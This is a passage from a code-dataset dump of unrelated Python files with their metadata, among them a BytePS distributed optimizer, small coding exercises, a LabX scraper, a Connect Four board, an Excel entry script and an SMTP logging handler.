torch\n\n\nclass _DistributedOptimizer(torch.optim.Optimizer):\n def __init__(self, params, named_parameters, compression_params=None,\n backward_passes_per_step=1, pre_scale_factor=1.0/size(),\n post_scale_factor=1):\n super(self.__class__, self).__init__(params)\n self._intra_compressor = self._register_compressor(\n self.defaults, compression_params)\n\n self.pre_scale_factor = pre_scale_factor\n self.post_scale_factor = post_scale_factor\n\n if named_parameters is not None:\n named_parameters = list(named_parameters)\n else:\n named_parameters = []\n\n self._enable_async = (int(os.getenv('BYTEPS_ENABLE_ASYNC', 0)) != 0)\n if self._enable_async:\n assert int(os.getenv('DMLC_NUM_WORKER')) > 1, \\\n \"Async is only valid for distributed training\"\n print('BytePS: enable asynchronous training')\n\n # make sure that named_parameters are tuples\n if any([not isinstance(p, tuple) for p in named_parameters]):\n raise ValueError('named_parameters should be a sequence of '\n 'tuples (name, parameter), usually produced by '\n 'model.named_parameters().')\n\n dups = _DistributedOptimizer.find_duplicates(\n [k for k, _ in named_parameters])\n if len(dups) > 0:\n raise ValueError('Parameter names in named_parameters must be unique. '\n 'Found duplicates: %s' % ', '.join(dups))\n\n if len(named_parameters) > 0:\n if isinstance(named_parameters[0][1], torch.Tensor):\n if any([not isinstance(p, torch.Tensor) for name, p in named_parameters]):\n raise ValueError('named_parameters should consistently be a sequence of '\n 'tuples (name, torch.Tensor)')\n self._is_tensor_instance = True\n # there is an issue when using torch.Tensor as key, so use its hash instead\n # https://github.com/pytorch/pytorch/issues/7733\n self._parameter_names = {v.__hash__(): k for k, v\n in sorted(named_parameters)}\n self._tensor_list = [tensor for name,\n tensor in named_parameters]\n else:\n self._is_tensor_instance = False\n self._parameter_names = {v: k for k, v\n in sorted(named_parameters)}\n else:\n self._is_tensor_instance = False\n self._parameter_names = {v: 'push_pull.noname.%s' % i\n for param_group in self.param_groups\n for i, v in enumerate(param_group['params'])}\n self.backward_passes_per_step = backward_passes_per_step\n self._push_pull_delay = {v: self.backward_passes_per_step\n for _, v in sorted(named_parameters)}\n self._handles = {}\n self._grad_accs = []\n self._requires_update = set()\n self._should_sync = True\n\n force_distributed = int(os.getenv('BYTEPS_FORCE_DISTRIBUTED', 0))\n if size() > 1 or force_distributed:\n self._register_hooks()\n\n self._intra_compressors = {}\n # declare tensors\n for param_group in self.param_groups:\n for param in param_group['params']:\n self._intra_compressors[param] = copy.deepcopy(\n self._intra_compressor)\n if param.requires_grad:\n if self._is_tensor_instance:\n name = self._parameter_names.get(param.__hash__())\n else:\n name = self._parameter_names.get(param)\n\n byteps_params = dict(\n filter(lambda attr: attr[0].startswith(\n \"byteps_\",), param.__dict__.items())\n )\n declare(\"Gradient.\"+name, **byteps_params)\n print(\"Gradient.\"+name, param.data.numel())\n\n @ staticmethod\n def find_duplicates(lst):\n seen = set()\n dups = set()\n for el in lst:\n if el in seen:\n dups.add(el)\n seen.add(el)\n return dups\n\n def set_backward_passes_per_step(self, passes):\n self.backward_passes_per_step = passes\n for p in self._push_pull_delay:\n self._push_pull_delay[p] = self.backward_passes_per_step\n\n def set_scale_factor(self, pre_scale_factor, post_scale_factor):\n self.pre_scale_factor = pre_scale_factor\n self.post_scale_factor = post_scale_factor\n\n def _register_hooks(self):\n for param_group in self.param_groups:\n for p in param_group['params']:\n if p.requires_grad:\n p.grad = p.data.new(p.size()).zero_()\n self._requires_update.add(p)\n p_tmp = p.expand_as(p)\n grad_acc = p_tmp.grad_fn.next_functions[0][0]\n grad_acc.register_hook(self._make_hook(p))\n self._grad_accs.append(grad_acc)\n\n def _register_compressor(self, optimizer_params, compression_params):\n \"\"\"Register compressor for BytePS\n\n optimizer_params : dict\n compression_params : dict\n \"\"\"\n intra_compressor = Compression.none\n if not compression_params:\n return intra_compressor\n\n if compression_params.get(\"fp16\"):\n intra_compressor = Compression.fp16\n\n if not compression_params.get(\"compressor\"):\n return intra_compressor\n\n check_list = [\"compressor\", \"ef\", \"momentum\"]\n\n for i, param_group in enumerate(self.param_groups):\n for param in param_group['params']:\n if not param.requires_grad:\n continue\n\n # generic\n for item in check_list:\n if compression_params.get(item):\n if isinstance(compression_params[item], str):\n setattr(param, \"byteps_%s_type\" %\n item, compression_params[item])\n else:\n raise TypeError(\"%s should be str\" % item)\n\n # need parameter\n compressor = compression_params[\"compressor\"]\n if compressor == \"onebit\":\n setattr(param, \"byteps_compressor_onebit_scaling\", str(\n compression_params.get(\"scaling\", False)))\n elif compressor == \"topk\" or compressor == \"randomk\" or \\\n compressor == \"dithering\":\n # raise KeyError if 'k' is not found\n setattr(param, \"byteps_compressor_k\",\n compression_params[\"k\"])\n\n if compression_params.get(\"momentum\"):\n setattr(param, \"byteps_momentum_mu\",\n optimizer_params[\"momentum\"])\n\n if compression_params.get(\"seed\", None) is not None:\n seed = int(compression_params[\"seed\"])\n setattr(param, \"byteps_seed\", seed + i)\n\n if compression_params.get(\"partition\"):\n if compression_params[\"partition\"] == \"linear\":\n setattr(param, \"byteps_dithering_partition\", \"0\")\n elif compression_params[\"partition\"] == \"natural\":\n setattr(param, \"byteps_dithering_partition\", \"1\")\n else:\n raise ValueError(\"Unsupported partition %s\" %\n compression_params[\"partition\"])\n\n if compression_params.get(\"normalize\"):\n if compression_params[\"normalize\"] == \"max\":\n setattr(param, \"byteps_dithering_normalize\", \"0\")\n elif compression_params[\"normalize\"] == \"l2\":\n setattr(param, \"byteps_dithering_normalize\", \"1\")\n else:\n raise ValueError(\"Unsupported normalization %s\" %\n compression_params[\"normalize\"])\n\n # the following code will delete some items in `optimizer_params`\n # to avoid duplication\n if compression_params.get(\"momentum\"):\n threshold = int(os.environ.get(\n \"BYTEPS_MIN_COMPRESS_BYTES\", 0))\n mu = optimizer_params[\"momentum\"]\n\n # 1bit compressor use an additional momentum for weight decay\n if \"weight_decay\" in optimizer_params:\n wd = optimizer_params[\"weight_decay\"]\n intra_compressor = Compression.wdmom(intra_compressor,\n mu, wd, threshold)\n optimizer_params[\"weight_decay\"] = 0 # disable\n\n intra_compressor = Compression.nag(intra_compressor, mu, threshold)\n optimizer_params['momentum'] = 0 # disable\n\n return intra_compressor\n\n def _push_pull_grad_async(self, p):\n if self._is_tensor_instance:\n name = self._parameter_names.get(p.__hash__())\n else:\n name = self._parameter_names.get(p)\n if self._enable_async:\n # the real handle will be created in step()\n handle, ctx = None, None\n else:\n tensor = p.grad\n # grad is scaled with pre_scale_factor\n tensor *= self.pre_scale_factor\n tensor_compressed, ctx = self._intra_compressors[p].compress(\n tensor)\n\n handle = byteps_push_pull(\n tensor_compressed, average=False, name=\"Gradient.\"+name)\n return handle, ctx\n\n def _make_hook(self, p):\n def hook(*ignore):\n if p in self._handles and self._handles[p][0] is not None:\n if self._push_pull_delay[p] <= 0:\n raise AssertionError(\n \"Gradients were computed more than \"\n \"backward_passes_per_step times before call \"\n \"to step(). Increase backward_passes_per_step to \"\n \"accumulate gradients locally.\")\n assert not p.grad.requires_grad\n assert self._push_pull_delay[p] > 0\n handle, ctx = None, None\n self._push_pull_delay[p] -= 1\n if self._push_pull_delay[p] == 0:\n handle, ctx = self._push_pull_grad_async(p)\n self._handles[p] = (handle, ctx)\n return hook\n\n def synchronize(self):\n missing_p = self._requires_update - set(self._handles.keys())\n for p in missing_p:\n handle, ctx = self._push_pull_grad_async(p)\n self._handles[p] = (handle, ctx)\n\n for p, value in self._handles.items():\n handle, ctx = value\n if handle is None:\n handle, ctx = self._push_pull_grad_async(p)\n self._handles[p] = (handle, ctx)\n for p, (handle, ctx) in self._handles.items():\n output = synchronize(handle)\n self._push_pull_delay[p] = self.backward_passes_per_step\n if not self._enable_async:\n g = self._intra_compressors[p].decompress(\n output, ctx, x=p.data)\n\n if not isclose(self.post_scale_factor, 1.0):\n g *= self.post_scale_factor\n p.grad.set_(g)\n\n self._handles.clear()\n\n @ contextmanager\n def skip_synchronize(self):\n if self._enable_async:\n raise AssertionError(\n \"skip_synchronize cannot be used in async training\")\n self._should_sync = False\n try:\n yield\n finally:\n self._should_sync = True\n\n def step(self, closure=None):\n if self._enable_async:\n old_weight_map = {}\n # store the weights before update\n for p, _ in self._handles.items():\n old_weight_map[p] = p.data.clone().detach()\n # update\n loss = super(self.__class__, self).step(closure)\n\n for p, (h, _) in self._handles.items():\n # get the diff for each weight (in-place)\n p.data.sub_(old_weight_map.get(p))\n if h is None:\n # create the handler now\n if self._is_tensor_instance:\n name = self._parameter_names.get(p.__hash__())\n else:\n name = self._parameter_names.get(p)\n handle = byteps_push_pull(\n p, average=False, name=\"AsyncParam.\"+name)\n _, ctx = self._compression.compress(p)\n self._handles[p] = (handle, ctx)\n\n self.synchronize()\n return loss\n else:\n # skip sync if calling skip_synchronize\n if self._should_sync:\n self.synchronize()\n\n return super(self.__class__, self).step(closure)\n\n\ndef DistributedOptimizer(optimizer, named_parameters=None,\n compression_params=None,\n backward_passes_per_step=1, pre_scale_factor=1, post_scale_factor=1):\n \"\"\"\n An optimizer that wraps another torch.optim.Optimizer, using an push_pull to\n average gradient values before applying gradients to model weights.\n push_pull operations are executed after each gradient is computed by `loss.backward()`\n in parallel with each other. The `step()` method ensures that all push_pull operations are\n finished before applying gradients to the model.\n DistributedOptimizer exposes the `synchronize()` method, which forces push_pull operations\n to finish before continuing the execution. It's useful in conjunction with gradient\n clipping, or other operations that modify gradients in place before `step()` is executed.\n Example of gradient clipping:\n ```\n output = model(data)\n loss = F.nll_loss(output, target)\n loss.backward()\n optimizer.synchronize()\n torch.nn.utils.clip_grad_norm(model.parameters(), args.clip)\n optimizer.step()\n ```\n Arguments:\n optimizer: Optimizer to use for computing gradients and applying updates.\n named_parameters: A mapping between parameter names and values. Used for naming of\n push_pull operations. Typically just `model.named_parameters()`.\n compression_params : dict. Key-word arguments to be passed to gradient compression\n constructor. For example,`{'compressor': 'onebit', 'ef':\n 'vanilla', 'momentum': 'nesterov', 'scaling': true}`.\n All compressor accept 'compressor', 'ef'. See each compressor's\n constructor for a list of additional supported arguments.\n backward_passes_per_step: Number of expected backward passes to perform\n before calling step()/synchronize(). This\n allows accumulating gradients over multiple\n mini-batches before executing averaging and\n applying them.\n pre_scale_factor: scale the tensor before pushpull \n post_scale_factor: scale the tensor after pushpull \n \"\"\"\n # We dynamically create a new class that inherits from the optimizer that was passed in.\n # The goal is to override the `step()` method with an push_pull implementation.\n cls = type(optimizer.__class__.__name__, (optimizer.__class__,),\n dict(_DistributedOptimizer.__dict__))\n return cls(optimizer.param_groups, named_parameters,\n compression_params, backward_passes_per_step, pre_scale_factor, post_scale_factor)\n\n\ndef broadcast_parameters(params, root_rank, prefix=\"Parameter.\"):\n \"\"\"\n Broadcasts the parameters from root rank to all other processes.\n Typical usage is to broadcast the `model.state_dict()`,\n `model.named_parameters()`, or `model.parameters()`.\n Arguments:\n params: One of the following:\n - list of parameters to broadcast\n - dict of parameters to broadcast\n root_rank: The rank of the process from which parameters will be\n broadcasted to all other processes.\n \"\"\"\n if isinstance(params, dict):\n params = sorted(params.items())\n elif isinstance(params, list):\n # support both named_parameters() and regular parameters()\n params = [p if isinstance(p, tuple) else (None, p) for p in params]\n else:\n raise ValueError('invalid params of type: %s' % type(params))\n\n # Run synchronous broadcasts.\n for name, p in params:\n # Broadcast is implemented as push + pull in BytePS\n # To make it a real broadcast, we set the non-root tensors all 0.\n if rank() != root_rank:\n p.fill_(0)\n # Remember to disable averaging because we are doing broadcast\n # We use two loops for load-balancing\n declare(\"Parameter.\"+name)\n if name:\n handle = byteps_push_pull(p, average=False, name=prefix+name)\n else:\n handle = byteps_push_pull(p, average=False)\n synchronize(handle)\n\n\ndef broadcast_optimizer_state(optimizer, root_rank, prefix=\"Parameter.\"):\n \"\"\"\n Broadcasts an optimizer state from root rank to all other processes.\n Arguments:\n optimizer: An optimizer.\n root_rank: The rank of the process from which the optimizer will be\n broadcasted to all other processes.\n \"\"\"\n if isinstance(optimizer, torch.optim.LBFGS):\n # TODO(travis): L-BFGS cannot be easily supported without serializing\n # the entire state_dict, as its structure is deeply nested and contains\n # None type parameter values\n raise ValueError('cannot broadcast torch.optim.LBFGS state')\n\n state_dict = optimizer.state_dict()\n\n # Newly created optimizers will not have their state initialized, so\n # do that initialization here\n if len(state_dict['state']) == 0:\n for group in optimizer.param_groups:\n for p in group['params']:\n p.grad = p.data.new(p.size()).zero_()\n # This function accepts a torch.optim.Optimizer or a DistributedOptimizer\n # wrapped around a torch optimizer. Calling step() with a DistributedOptimizer\n # forces push_pull on all model parameters, which will result in deadlock\n # unless every rank calls step(). Therefore, to finish state initialization\n # only call optimizer.step() with a torch.optim.Optimizer.\n if optimizer.__module__ == DistributedOptimizer.__module__:\n super(optimizer.__class__, optimizer).step()\n else:\n optimizer.step()\n state_dict = optimizer.state_dict()\n\n # If the state_dict is still empty after initialization, then\n # the optimizer is stateless, and there is nothing to broadcast.\n # Furthermore, attempting to access the state dict would result in\n # an error.\n if len(state_dict['state']) == 0:\n return\n\n params = []\n callbacks = {}\n occurrences = collections.defaultdict(int)\n\n # Returns the full type structure of the possibly nested objects for recursive casting back\n def _get_types(x):\n if isinstance(x, collections.Iterable):\n return type(x), [_get_types(xi) for xi in x]\n else:\n return type(x)\n\n # Casts an object encoded in a tensor back into its original type and subtypes\n def _recursive_cast(x, dtype):\n if isinstance(dtype, tuple):\n t, dtypes = dtype\n x = t(x)\n return t([_recursive_cast(x[i], dtypes[i]) for i in range(len(x))])\n else:\n return dtype(x)\n\n # Some optimizer parameters may be represented as scalars instead of\n # tensors. In such cases, we need to wrap the scalar in a tensor, then\n # broadcast, then update the appropriate value in the state_dict with the\n # new unwrapped scalar value via a callback.\n def _create_callback(pid, name, t, p):\n def _from_tensor():\n state_dict['state'][pid][name] = t(p.cpu().numpy()[0])\n return _from_tensor\n\n def _create_option_callback(index, option_key, option_tensor, dtypes):\n def _from_tensor():\n optimizer.param_groups[index][option_key] = _recursive_cast(\n option_tensor.cpu().numpy()[0], dtypes)\n return _from_tensor\n\n # Param groups are an ordered list, normally there is only one per model,\n # but users can add additional param groups for example to train\n # previously frozen layers\n for index, group in enumerate(state_dict['param_groups']):\n # Broadcast options like learning rate\n for option_key, option_value in group.items():\n if option_key == 'params':\n continue\n\n # Options like the learning rate are scalar, and need to be wrapped in tensors\n key = '%s.%d' % (option_key, index)\n dtypes = _get_types(option_value)\n option_tensor = torch.Tensor([option_value]).cuda()\n callbacks[key] = _create_option_callback(\n index, option_key, option_tensor, dtypes)\n params.append((key, option_tensor))\n\n # The params list here is ordered by the layers in the model\n for pid in group['params']:\n param_state = state_dict['state'][pid]\n for name, p in param_state.items():\n # Some parameter names may appear more than once, in which\n # case we ensure they have a unique identifier defined by\n # their order\n occurrences[name] += 1\n key = '%s.%d' % (str(name), occurrences[name])\n\n if not torch.is_tensor(p):\n # Wrap the scalar in a FloatTensor, and remember its type\n # so we can cast it back after unwrapping\n t = type(p)\n p = torch.Tensor([p]).cuda()\n callbacks[key] = _create_callback(pid, name, t, p)\n\n params.append((key, p))\n\n # Synchronized broadcast of all parameters\n broadcast_parameters(params, root_rank, prefix)\n\n # Post-broadcast clenaup for non-tensor parameters\n for key, p in params:\n if key in callbacks:\n callbacks[key]()\n","sub_path":"byteps/byteps/torch/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":23965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"393975276","text":"# Given 2 arrays, mash them together so new array has alternating elements \n\ndef array_mash(a,b):\n new_array = a\n i = 1\n for item in b:\n new_array.insert(i, item)\n i +=2\n return new_array\n\n # Using zip?\n def array_mash(xs, ys):\n return [z for p in zip(xs, ys) for z in p]\n\n\nprint(array_mash([1,2,3], ['a','b','c'])) # [1,'a',2,'b',3,'c']","sub_path":"CodeWars/7kyu/arrays/array_mash.py","file_name":"array_mash.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"43261763","text":"from tensorimage.data_augmentation.src import AugmentImageData\nimport numpy as np\n\n\nclass DataAugmentationBuilder:\n def __init__(self, *operations):\n \"\"\"\n :param operations: data augmentation classmethods *args\n \"\"\"\n self.operations = operations\n\n def start(self, x, y, n_classes, dims, n_channels):\n augmented_data = np.ndarray([0, dims[0], dims[1], n_channels])\n augmented_labels = np.ndarray([0, n_classes])\n data_augmenter = AugmentImageData(x, y, n_classes)\n for op in self.operations:\n if op.__doc__ == data_augmenter.flip.__doc__:\n data, labels = data_augmenter.flip(dims)\n augmented_data = np.concatenate((augmented_data, data))\n augmented_labels = np.concatenate((augmented_labels, labels))\n elif op.__doc__ == data_augmenter.add_salt_pepper_noise.__doc__:\n data, labels = data_augmenter.add_salt_pepper_noise(op.salt_vs_pepper, op.amount)\n augmented_data = np.concatenate((augmented_data, data))\n augmented_labels = np.concatenate((augmented_labels, labels))\n elif op.__doc__ == data_augmenter.modify_lighting.__doc__:\n data, labels = data_augmenter.modify_lighting(op.max_delta)\n augmented_data = np.concatenate((augmented_data, data))\n augmented_labels = np.concatenate((augmented_labels, labels))\n elif op.__doc__ == data_augmenter.gaussian_blur.__doc__:\n data, labels = data_augmenter.gaussian_blur(op.sigma)\n augmented_data = np.concatenate((augmented_data, data))\n augmented_labels = np.concatenate((augmented_labels, labels))\n return augmented_data, augmented_labels\n","sub_path":"tensorimage/data_augmentation/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"46000118","text":"\ndef divqon(n, paper):\n if len(paper) == 1:\n return (int(paper[0][0] == -1), int(paper[0][0] == 0), int(paper[0][0] == 1))\n else:\n check = paper[0][0]\n flag = False\n for row in paper:\n for elem in row:\n if elem != check:\n flag = True\n break\n if flag:\n break\n if flag:\n a, b, c = 0, 0, 0\n x, y, z = 0, 0, 0\n n = n // 3\n for i in range(3):\n for j in range(3):\n little = paper[n * i: n * (i + 1)]\n little = [row[n * j: n * (j + 1)] for row in little]\n x, y, z = divqon(n, little)\n a += x; b += y; c += z\n return (a, b, c)\n else:\n return (int(check == -1), int(check == 0), int(check == 1))\n\nn = int(input())\npaper = [[int(y) for y in input().split(' ')] for x in range(n)]\n\na, b, c = divqon(n, paper)\nprint(a)\nprint(b)\nprint(c)","sub_path":"BeakJoon/python/solved/DivideAndConquer/1780.py","file_name":"1780.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"216093897","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 07 19:44:03 2015\n\n@author: Greg\n\"\"\"\n\nclass Fighter():\n \n \n fighters = [] #Multiple fighter instances are stored here.\n \n def __init__(self, string, name):\n self.string = string \n self.avg_value=0\n self.streak = 0\n self.wlRatio = 0\n self.wins = 0\n self.loses= 0\n self.name = name\n Fighter.fighters.append(self)\n \n\n \n def find_streak(self):\n streak_begin = self.string.find(' (') + 2\n streak_end = self.string.find(') ')\n \n if self.string[streak_begin]== \"-\":\n self.streak = int(self.string[streak_begin:streak_end])\n \n else:\n self.streak = int(self.string[streak_begin])\n \n \n \n \n ","sub_path":"saltybot.py","file_name":"saltybot.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"156522007","text":"\"\"\"\n@author Venita Boodhoo\nWebsite: LabX\nStatus: Complete\nComment: For both new and used equipment\n\"\"\"\n\nimport urllib.request, urllib.error, urllib.parse\nfrom bs4 import BeautifulSoup\nimport util \nfrom Result import Result\nimport requests\n\nMAIN_URL = \"https://www.labx.com/search?sw=\"\n#MAIN_URL = \"http://www.labx.com/v2/adsearch/search.cfm?sw=\"\nDELIMITER = \"+\"\n\ndef extract_results(item,condition=None):\n #Url is extended based on condition\n if condition == \"new\":\n specific_url = util.create_url(MAIN_URL,item,DELIMITER) + \"&condition=New,New%20or%20Used&adtype=998\"\n else:\n specific_url = util.create_url(MAIN_URL,item,DELIMITER) + \"&condition=Used,Refurbished,For%20Parts/Not%20Working,New%20or%20Used&adtype=998\" \n url = util.create_url(MAIN_URL,item, DELIMITER)\n results=[]\n #Check if page has data\n try:\n soup = util.check_exceptions(url)\n table = soup.find('tbody', class_='ResultsNewTable')\n rows=table.find_all('tr')\n except:\n return []\n #Get 1st 10 results only\n for i in range(len(rows)):\n row= rows[i]\n new_result = Result(row.find('a').get('title'))\n new_result.url = row.find('a').get('href')\n new_result.price = util.get_price(row.find_all('td')[4].contents[0])\n number = util.get_price(new_result.title)\n new_result.image_src = \"https://photos.labx.com/labx/\"+number+\"/\"+number+\"-0.jpg\"\n if util.is_valid_price(new_result.price):\n results.append(new_result)\n if len(results) == 10:\n return results\n return results\n\ndef main():\n print(extract_results(\"vacuum pump\", \"new\"))\n\nif __name__ == \"__main__\": main()\n","sub_path":"labx.py","file_name":"labx.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"481737487","text":"class Board:\n BOARD_HEIGHT = 6\n BOARD_WIDTH = 7\n\n def __init__(self):\n self.board_dict = dict()\n\n def input_piece(self, player_colour, column):\n \"\"\"\n\n Args:\n player_colour: player colour\n column: the column at which the game_setup piece is dropped\n\n Returns: (updates self.boardcells with the player's sign) and returns the row at which the piece is\n added to\n\n \"\"\"\n game_pieces = self.board_dict.keys()\n possible_rows = [0, 1, 2, 3, 4, 5]\n for game_piece in game_pieces:\n if game_piece[0] == column:\n possible_rows.remove(game_piece[1])\n row = min(possible_rows)\n self.board_dict[(column, row)] = player_colour\n return row\n\n def valid_moves(self):\n \"\"\"\n\n Returns: list of valid moves of the columns that are not filled completely\n\n \"\"\"\n valid_moves_lst = [0, 1, 2, 3, 4, 5, 6]\n game_pieces = self.board_dict.keys()\n for game_piece in game_pieces:\n if game_piece[1] == 5:\n valid_moves_lst.remove(game_piece[0])\n return valid_moves_lst\n\n def vertical_two_count(self, column):\n return\n\n def display_board(self):\n template = \"\"\" {}\n # +---+---+---+---+---+---+---+\n # 5 |{:}|{:}|{:}|{:}|{:}|{:}|{:}|\n # +---+---+---+---+---+---+---+\n # 4 |{:}|{:}|{:}|{:}|{:}|{:}|{:}|\n # +---+---+---+---+---+---+---+\n # 3 |{:}|{:}|{:}|{:}|{:}|{:}|{:}|\n # +---+---+---+---+---+---+---+\n # 2 |{:}|{:}|{:}|{:}|{:}|{:}|{:}|\n # +---+---+---+---+---+---+---+\n # 1 |{:}|{:}|{:}|{:}|{:}|{:}|{:}|\n # +---+---+---+---+---+---+---+\n # 0 |{:}|{:}|{:}|{:}|{:}|{:}|{:}|\n # +---+---+---+---+---+---+---+\n # y/x 0 1 2 3 4 5 6 \"\"\"\n coords = [(x, 5 - y) for y in range(6) for x in range(7)]\n cells = []\n for xy in coords:\n if xy not in self.board_dict:\n cells.append(\" \")\n else:\n if self.board_dict[xy] == \"red\":\n cells.append(\"\\033[4m\\033[91m X \\033[0m\")\n if self.board_dict[xy] == \"yellow\":\n cells.append(\"\\033[4m\\033[93m O \\033[0m\")\n print(template.format(\"\", *cells))\n\n","sub_path":"referee/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":2420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"96728470","text":"import openpyxl as xl\r\nfrom classes import Inschrijving\r\n\r\n\r\nwb = xl.load_workbook(\"mosselen.xlsx\")\r\nws = wb['ZATERDAG']\r\n\r\n\r\nquestions = [\r\n ('Voornaam: '),\r\n ('Achternaam: '),\r\n ('Aantal mosselen groot: '),\r\n ('Aantal mosselen groot voor helpers: '),\r\n ('Aantal mosselen klein: '),\r\n ('Aantal mosselen klein voor helpers: '),\r\n ('Aantal paardenworsten groot: '),\r\n ('Aantal paardenworsten groot voor helpers: '),\r\n ('Aantal paardenworsten klein: '),\r\n ('Aantal paardenworsten klein voor helpers: '),\r\n ('Brood: '),\r\n ('Betaald: ')]\r\n\r\n\r\ndef new():\r\n voornaam = input(questions[0])\r\n achternaam = input(questions[1])\r\n mg = input(questions[2])\r\n mgh = input(questions[3])\r\n mk = input(questions[4])\r\n mkh = input(questions[5])\r\n pg = input(questions[6])\r\n pgh = input(questions[7])\r\n pk = input(questions[8])\r\n pkh = input(questions[9])\r\n brood = input(questions[10])\r\n betaald = input(questions[11])\r\n insch1 = Inschrijving(voornaam=voornaam, achternaam=achternaam, mg=mg, mgh=mgh, mk=mk, mkh=mkh, pg=pg, pgh=pgh, pk=pk, pkh=pkh, brood=brood, betaald=betaald)\r\n print(f'{insch1.voornaam, insch1.achternaam}\\nmosellen groot {insch1.mg}\\nmosellen groot helper {insch1.mgh}\\nmosellen klein {insch1.mk}\\nmosellen klein helper {insch1.mkh}\\npaardenworsten groot {insch1.pg}\\npaardenworsten groot helper {insch1.pgh}\\npaardenworsten klein {insch1.pk}\\npaardenworsten klein helper {insch1.pkh}\\nbrood {insch1.brood}\\nbetaald {insch1.betaald}')\r\n\r\n if mg == \"0\":\r\n mg = None\r\n if mgh == \"0\":\r\n mgh = None\r\n if mk == \"0\":\r\n mk = None\r\n if mkh == \"0\":\r\n mkh = None\r\n if pg == \"0\":\r\n pg = None\r\n if pgh == \"0\":\r\n pgh = None\r\n if pk == \"0\":\r\n pk = None\r\n if pkh == \"0\":\r\n pkh = None\r\n if brood == \"n\":\r\n brood = None\r\n\r\n for cell in ws.iter_rows(min_row=5, min_col=4, max_col=5, max_row=ws.max_row - 9):\r\n # cell == (Column 4 - name, Column 5 - surname)\r\n if all((c.value is None for c in cell)):\r\n print('empty')\r\n\r\n # cell[0].row is the current Row\r\n row_index = cell[0].row\r\n column_index_to_start = 4\r\n\r\n for col_index, value in enumerate((voornaam, achternaam, mg, mgh, mk, mkh, pg, pgh, pk, pkh, brood, betaald), column_index_to_start):\r\n ws.cell(row=row_index, column=col_index).value = value\r\n break\r\n\r\n\r\ndef start():\r\n a = input('(1) Nieuwe inschrijving of (2) bijwerken: \\n')\r\n if a == \"1\":\r\n new()\r\n elif a == \"2\":\r\n edit()\r\n else:\r\n print(\"Ongeldig\")\r\n start()\r\n\r\n\r\ndef edit():\r\n pass\r\n\r\n\r\nstart()\r\nwb.save(filename='mosselen_test1.xlsx')\r\nwb.close()\r\n","sub_path":"code2.py","file_name":"code2.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"499839650","text":"# -*- coding: utf-8 -*-\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.utils import formatdate\nimport logging\nfrom logging.handlers import SMTPHandler\nfrom pygments import highlight\nfrom pygments.formatters import HtmlFormatter\nfrom pygments.lexers import PythonTracebackLexer\nimport smtplib\nimport flask\nimport sys, string\n\n\nclass ColorfulSMTPHandler(SMTPHandler):\n\n @classmethod\n def remove_accents(cls, txt):\n \"\"\"Remove the accents (diacritics), VARIATION SELECTOR-15 (u'\\ufe0e', 65038) from unicode text.\n\n txt: string (unicode)\n\n returns string\n \"\"\"\n import re\n txt = re.sub('[%s]' % (unichr(65038)), ' ', txt) # Remove VARIATION SELECTOR (accents)\n return txt\n\n def uformat(self, record):\n \"\"\" Wrapper for /usr/lib64/python2.6/logging/__init__.py -> format\n Workaround for python log bug: http://bugs.python.org/issue6991\n Related articles:\n http://stackoverflow.com/questions/1545263/utf-8-in-python-logging-how\n https://codingteam.net/paste/show/219\n \"\"\"\n record.message = record.getMessage()\n _fmt = (self.formatter or logging._defaultFormatter)._fmt\n if string.find(_fmt, \"%(asctime)\") >= 0:\n record.asctime = self.formatTime(record, self.datefmt)\n s = _fmt % record.__dict__\n if record.exc_info:\n # Cache the traceback text to avoid converting it multiple times\n # (it's constant anyway)\n if not record.exc_text:\n record.exc_text = self.formatException(record.exc_info)\n if record.exc_text:\n if s[-1:] != \"\\n\":\n s = s + \"\\n\"\n try:\n s = s + record.exc_text\n except UnicodeError:\n # Sometimes filenames have non-ASCII chars, which can lead\n # to errors when s is Unicode and record.exc_text is str\n tx = ColorfulSMTPHandler.remove_accents(record.exc_text.decode(sys.getfilesystemencoding(), 'replace'))\n s = s + tx\n return s\n\n def _send_mail(self, record, force_utf8=False):\n \"\"\"Send color email\n\n record: log record\n force_utf8: bool\n \"\"\"\n port = self.mailport\n if not port:\n port = smtplib.SMTP_PORT\n smtp = smtplib.SMTP(self.mailhost, port)\n msg = MIMEMultipart('alternative')\n msg['Subject'] = self.getSubject(record)\n msg['From'] = self.fromaddr\n msg['To'] = \",\".join(self.toaddrs)\n msg['Date'] = formatdate()\n\n # text = self.format(record) # Python log bug.\n # patch\n text = self.uformat(record)\n if force_utf8:\n text = unicode(text).encode('utf8')\n\n msg.attach(MIMEText(text, 'plain'))\n\n params = u''\n if flask.request.values:\n for key, value in flask.request.values.iteritems():\n params += '%s: %s' % (key, value) + '\\n'\n\n if params:\n if force_utf8:\n text += unicode(params).encode('utf8')\n else:\n text += params\n\n if record.exc_text:\n html_formatter = HtmlFormatter(noclasses=True)\n tb = highlight(record.exc_text, PythonTracebackLexer(), html_formatter)\n\n info = (self.formatter or logging._defaultFormatter)._fmt % record.__dict__\n info = '

%s

